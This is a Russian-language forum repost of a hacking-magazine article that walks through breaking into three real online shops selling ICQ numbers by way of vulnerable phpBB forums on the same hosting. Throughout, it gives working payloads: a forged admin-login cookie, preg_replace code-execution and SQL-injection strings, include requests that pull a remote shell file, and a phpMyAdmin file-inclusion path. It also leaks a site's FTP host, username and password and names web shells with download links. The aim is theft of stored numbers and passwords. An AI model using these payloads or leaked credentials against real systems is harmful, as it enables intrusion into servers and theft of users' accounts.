Взлом сетевых магазинов

CUK77

Professional
Messages
1,193
Reputation
3
Reaction score
385
Points
83
Быстрый взлом сетевых магазинов

Мне всегда хотелось посмотреть на внутренности магазинов, занимающихся продажей icq uin’ов. Думаю, не стоит и говорить о мотивации к этому. Куча бабок в WM-кошельках, горы шестизнаков - все это ждет взломщиков. Сегодня на моем операционном столе несколько известных пациентов: uinshop.com, nomerkov.net и uinzz.com. Enjoy!

sex with uinshop.com

Давай сразу приступим к делу. Вспомнив о сервисе domainsdb.net, поищем соседей нашего магазина с установленным phpBB-форумом (чтоб не напрягаться, естественно, в поисках багов). Для uinshop.com таковым оказался systemfond.ru. Осматриваемся. Версия форума неизвестно какая, админ мудро убрал авторские копирайты. Но все же на всякий случай проверяем наличие уязвимости в параметре highlight:

www.systemfond.ru/forum/viewtopic.php?p=873&highlight=%27

Ничего не получается, форум не выдает никакой ошибки, значит, будем использовать более новую уязвимость всех версий форума phpBB<=2.0.17 — связки php-функции preg_replace() и переменной signature_bbcode_uid (м-да, с регулярными выражениями у авторов phpBB беда, учите паттерны!). Итак, пробуем регистрироваться… Неудача! Активация пользователей на форуме осуществляется самими администраторами. Вспоминаем про еще одну уязвимость форума — возможность входа под любым пользователем через багу в кукисах. Нам нужен аккаунт админа, значит, идем в браузер Опера, в меню Сервис->Дополнительно->Управление cookies (если ты сидишь не в Опере, то поищи на nsd.ru (или на www.xakep.ru) проги для редактирования оных), ищем там www.systemfond.ru, удаляем содержимое переменной iconboard_sid (да-да, так админы назвали кукисы, думали, что это чем-то поможет, наивные), а в iconboard_data вставляем следующее значение:

a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D

Поясню, с помощью этой строки мы залогинимся под пользователем с id=2, так как в скрипте, отвечающем за вход, недостаточно проверяется соответствие типов переменных. Если вдруг тебе понадобится другой пользователь, то ты легко можешь вставить любой id в это значение здесь: 3A%22[id]%22%3B%7D

Берём от админа всё

Перезагружаем страницу (так, чтобы в ее параметрах не было sid, так как с любым существующим значением sid ничего не получится), в итоге оказываемся залогиненными под администратором [ Kudesnik ]. Итак, идем в редактирование профиля нашего админа. Сохраняем страницу себе на хард, в html-коде находим

<form action="profile.php" method="post">

и меняем на

<form action=http://www.systemfond.ru/forum/profile.php?signature_bbcode_uid=..(.*)/e%00 method="post">

Загружаем полученную страницу и в поле подписи вставляем

[b:file_get_contents($_GET[bb])

В это место можно, естественно, вставить любой php-код, в том числе и system() -после "[b:". Но сейчас нам нужна именно функция получения содержимого файла. Нажимаем «Отправить» и идем по ссылке http://www.systemfond.ru/forum/profile.php?mode=editprofile&bb=config.php В поле подписи нам открылось содержание config.php.

Пробуем залогиниться с полученным паролем на фтп:

Хост: systemfond.ru

Юзер: sysfond

Пароль: sfosttmax700

Неудивительно, что пароль подошел, обычно админы таких сайтов крайне беспечны. Далее, для удобства, заливаем r57shell под именем systemfond.ru/n260903-2.phtml, чтобы не палиться преждевременно (файлов с такими именами там много, видать, новости сайта). Начинаем исследовать сервер. Прежде всего смотрим /etc/passwd, узнаем с помощью банальной эрудиции имя юзера для uinshop.com (uinshop) и пробуем вломиться в /home/uinshop/public_html/.

У нас получилось. Скажу сразу, что ничего интересного на сайте не было, так как действуют они через сторонний сервис digiseller.ru. Паролей, к сожалению, тоже не удалось достать, а жаль, так как они могли подойти к аккаунту магазина на дигиселлере. Что ж, еще не все потеряно, идем дальше.

nomerkov.net — удачный поход

По аналогии с предыдущим магазином ищем с помощью domainsdb.net phpBB форум на сервере, на котором хостится наш магазин. Сегодня удачный день. Практически первый же попавшийся форум на сайте di-site.com оказывается уязвимым к баге в highlight-параметре! Только толку от нее оказалось мало. Был включен php safe-mode. Многие стандартные php-функции были недоступны. Но я нашел выход. Я написал миниатюрный файл-менеджер с функциями шелла, специально предназначенный для работы в инклуде. Его код, естественно, можно найти на врезке или скачать на wapp.ru/dir.txt. Далее заливаем его на полученный ранее ftp-аккаунт systemfond.ru, опять же, чтобы не палиться. Выполняем следующий запрос:

http://www.di-site.com/forum/viewtopic.php?p=2&highlight=%2527.include($_GET[bb]).%2527&bb=systemfond.ru/dir.txt

И получаем такую вот ошибку:

Unknown(systemfond.ru/dir.txt)\b#i): failed to open stream: HTTP request failed!

Я долго гадал, почему это не сработало, но так и не понял. Видимо, какие-то экзотические настройки php. Но в результате экспериментов наш файл все же получилось заинклудить с помощью функции eval(), параметр которой выполняется, как php-код. Выполняем запрос:

www.di-site.com/forum/viewtopic.php?p=2&highlight..($_GET[bb]).%2527&bb=include($_GET[aa]);&aa=systemfond.ru/dir.txt

Есть! Все директории и файлы как на ладони! Итак, смотрим config.php, проверяем полученный пароль (retusha) на фтп! Пароль, естественно, подходит. Теперь нужно залить веб-шелл, чтобы изучить сервер. Так как включен safe-mode для php, обычный r57shell нам не подойдет, так как слишком мало возможностей для изучения сервера. Недолго думая, заливаем в ./public_html/cgi-bin r57pws - веб-шелл, написанный на perl (респект rst team!) и выставляем ему права 0755, чтобы он мог выполняться. Идем по адресу: di-site.com/cgi-bin/r57pws.cgi, вводим пароль "r57" и смотрим /etc/passwd. Нужный нам юзер угадывается сразу - nomerkov14. Пытаемся пройти в его папку, как в первом случае:

/home/nomerkov14/domains/nomerkov.net/public_html/

Ничего не вышло :(. Продолжаем дальше изучать сервер. Ага, в /usr/local/www видим диру directadmin. Логинимся в da под нашим юзером.

phpMyAdmin и кривые руки кодеров

После успешного логина идем в di-site.com->Базы данных MySQL-> phpMyAdmin, логинимся под юзером из config.php (disite_root). Ты спросишь, для чего мы это сделали? Заряди гугл запросом «phpmyadmin exploit» и зацени количество дырок в этом известнейшем скрипте управления базами данных mysql. Еще, как правило, в системах управления сайтами phpmyadmin для всех аккаунтов общий и запущен под более привилегированным юзером, чем у нас есть. То есть стоит покопаться в выданных гуглом багах. Теперь осматриваемся в phpmyadmin'е. Клево, версия 2.6.1-pl3, страдающая локальным инклудом файлов. Для использования инклуда, заливаем на фтп в паблик уже известный нам скрипт для чтения директорий и выполнения команд dir.txt (он удобен тем, что сам оперирует с $QUERY_STRING, поэтому он идеально подходит в тех случаях, когда залить веб-шелл не удается, но можно инклудить любые локальные и удаленные файлы) под именем all.dbi.lib.php. Далее открываем следующий URL:

http://di-site.com/phpmyadmin/libra.../nomerkov14/domains/nomerkov.net/public_html/

В результате чего успешно получаем список файлов и директорий магазина nomerkov.net. Кстати, на этом же сервере лежит и uinzz.com:

http://di-site.com/phpmyadmin/libra...ra=/home/uinzz/domains/uinzz.com/public_html/

Только ничего интересного там тоже нет. Ненавижу сторонние торговые площадки! Итак, мы можем просматривать чужие директории, благодаря тому, что phpmyadmin запущен под юзером apache, имеющим на это право. Идем в директорию собственно шопа — online. Смотрим конфиги, проверяем базу шопа, которая оказывается пустой в плане номерков и паролей. Не круто, конечно, но это еще не всё. Смотрим опять диру online и открываем ранее не замеченные файлики online/uin.txt и online/u.txt. И что мы видим? Правильно, уины и пароли.

Заключение

На этом заканчиваю. Думаю, теперь владельцам магазинов стоит трижды подумать, выбирая себе хостинг, а ещё лучше завести себе нормальный выделенный сервер. Кстати, ко всем используемым уязвимостям есть свои эксплойты на rsr.void.ru, но все же советую все делать ручками.

От редактора

Вот видишь, дорогой друг. Любовь — штука сильная, вынуждает людей делать плохие поступки. Но если их не делать, то и жить, я думаю, незачем. На этой грустной реалистической ноте мы закончим рассказы про взлом уже приевшихся phpBB-форумах, думаю, надолго. Ведь на свете еще так много интересного, приятель!

phpBB с signature_bbcode_uid

Если вдруг с помощью уязвимости с недостаточной проверкой переменной signature_bbcode_uid тебе не удастся выполнить php-код, а ты тем временем будешь обычным зарегиным пользователем, то ничто не мешает получить тебе статус админа и вволю покуражиться над несчастным форумом. Делаем все так же: сохраняем страницу с редактированием профиля себе на хард и ищем строку:

<form action="profile.php" method="post">,

затем меняем её на

<form action="victim.ru/phpBB2/profile.php?signature_bbcode_uid=1',user_level='1" method="post">

Как видно, здесь имеет место простая sql-инъекция. Естественно, это будет работать при отключенном magic_quotes_gpc. Ещё иногда бывает, что в php отключена директива register_globals. Выход из этого есть, только работает он на php<=4.4.0. Тебе надо передавать нашу переменную всего лишь в формате "?GLOBALS[signature_bbcode_uid]="

WWW

Используемые скрипты:

r57shell: rst.void.ru/download/r57shell.txt

r57pws: rst.void.ru/download/r57pws.txt

Файл-Менеджер, удобный в инклуде: wapp.ru/dir.txt

INFO

Научиться использовать все вышеперечисленные уязвимости можно на securitylab.ru. Просто юзай поиск по нужному тебе скрипту и читай комментарии пользователей, как правило, разъясняющие все подробности багов.

WARNING

Никогда не используйте одинаковые пароли для баз данных и фтп!... И запомни! Никогда не повторяй проделанного в статье - уголовно наказуемо!
 
Top